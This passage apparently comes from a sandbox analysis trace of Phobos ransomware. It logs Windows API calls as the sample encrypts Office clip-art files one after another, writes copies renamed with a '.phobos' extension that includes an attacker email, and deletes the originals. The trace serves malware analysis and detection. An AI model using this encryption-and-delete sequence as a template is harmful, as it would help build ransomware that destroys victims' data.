Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0139.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.962] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.962] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.962] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0139.962] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.962] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3682, lpOverlapped=0x0) returned 1 [0139.964] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3690, dwBufLen=0x3690 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3690) returned 1 [0139.964] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3690, lpOverlapped=0x0) returned 1 [0139.965] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753198) returned 1 [0139.965] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.965] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.965] CryptDestroyKey (hKey=0x753198) returned 1 [0139.965] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.965] CryptDestroyKey (hKey=0x752d18) returned 1 [0139.965] CloseHandle (hObject=0x310) returned 1 [0139.965] CloseHandle (hObject=0x2b4) returned 1 [0139.965] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0139.966] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.966] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=9671) returned 1 [0139.966] CloseHandle (hObject=0x2b4) returned 1 [0139.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0139.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.966] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.966] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.967] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e18) returned 1 [0139.967] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.967] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x25c7, lpOverlapped=0x0) returned 1 [0139.968] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x25d0) returned 1 [0139.968] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x25d0, lpOverlapped=0x0) returned 1 [0139.969] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f18) returned 1 [0139.969] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.969] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.969] CryptDestroyKey (hKey=0x752f18) returned 1 [0139.969] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.969] CryptDestroyKey (hKey=0x752e18) returned 1 [0139.969] CloseHandle (hObject=0x2b4) returned 1 [0139.969] CloseHandle (hObject=0x310) returned 1 [0139.970] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0139.970] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.971] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=26160) returned 1 [0139.971] CloseHandle (hObject=0x310) returned 1 [0139.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0139.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.971] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.971] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.971] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x7530d8) returned 1 [0139.971] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.971] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x6630, lpOverlapped=0x0) returned 1 [0140.035] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x6640, dwBufLen=0x6640 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x6640) returned 1 [0140.035] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x6640, lpOverlapped=0x0) returned 1 [0140.036] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d98) returned 1 [0140.036] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.036] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0140.036] CryptDestroyKey (hKey=0x752d98) returned 1 [0140.036] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0140.037] CryptDestroyKey (hKey=0x7530d8) returned 1 [0140.037] CloseHandle (hObject=0x310) returned 1 [0140.037] CloseHandle (hObject=0x2b4) returned 1 [0140.037] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0140.038] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0140.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.039] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=15145) returned 1 [0140.039] CloseHandle (hObject=0x2b4) returned 1 [0140.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0140.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.039] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.039] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0140.040] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752c58) returned 1 [0140.040] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.040] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3b29, lpOverlapped=0x0) returned 1 [0140.073] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3b30) returned 1 [0140.073] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3b30, lpOverlapped=0x0) returned 1 [0140.074] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753018) returned 1 [0140.074] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.074] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0140.074] CryptDestroyKey (hKey=0x753018) returned 1 [0140.074] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0140.074] CryptDestroyKey (hKey=0x752c58) returned 1 [0140.074] CloseHandle (hObject=0x2b4) returned 1 [0140.074] CloseHandle (hObject=0x310) returned 1 [0140.074] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0140.075] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0140.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0140.076] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=22356) returned 1 [0140.076] CloseHandle (hObject=0x310) returned 1 [0140.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0140.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0140.076] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.076] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.076] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0140.076] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.076] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5754, lpOverlapped=0x0) returned 1 [0140.120] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5760, dwBufLen=0x5760 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5760) returned 1 [0140.120] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5760, lpOverlapped=0x0) returned 1 [0140.121] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e18) returned 1 [0140.121] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.121] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0140.121] CryptDestroyKey (hKey=0x752e18) returned 1 [0140.121] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0140.121] CryptDestroyKey (hKey=0x752dd8) returned 1 [0140.121] CloseHandle (hObject=0x310) returned 1 [0140.121] CloseHandle (hObject=0x2b4) returned 1 [0140.121] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0140.122] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0140.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.123] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=21946) returned 1 [0140.123] CloseHandle (hObject=0x2b4) returned 1 [0140.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0140.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.123] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.123] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0140.124] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f98) returned 1 [0140.124] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.124] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x55ba, lpOverlapped=0x0) returned 1 [0140.205] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x55c0, dwBufLen=0x55c0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x55c0) returned 1 [0140.205] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x55c0, lpOverlapped=0x0) returned 1 [0140.206] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a18) returned 1 [0140.206] CryptSetKeyParam (hKey=0x752a18, 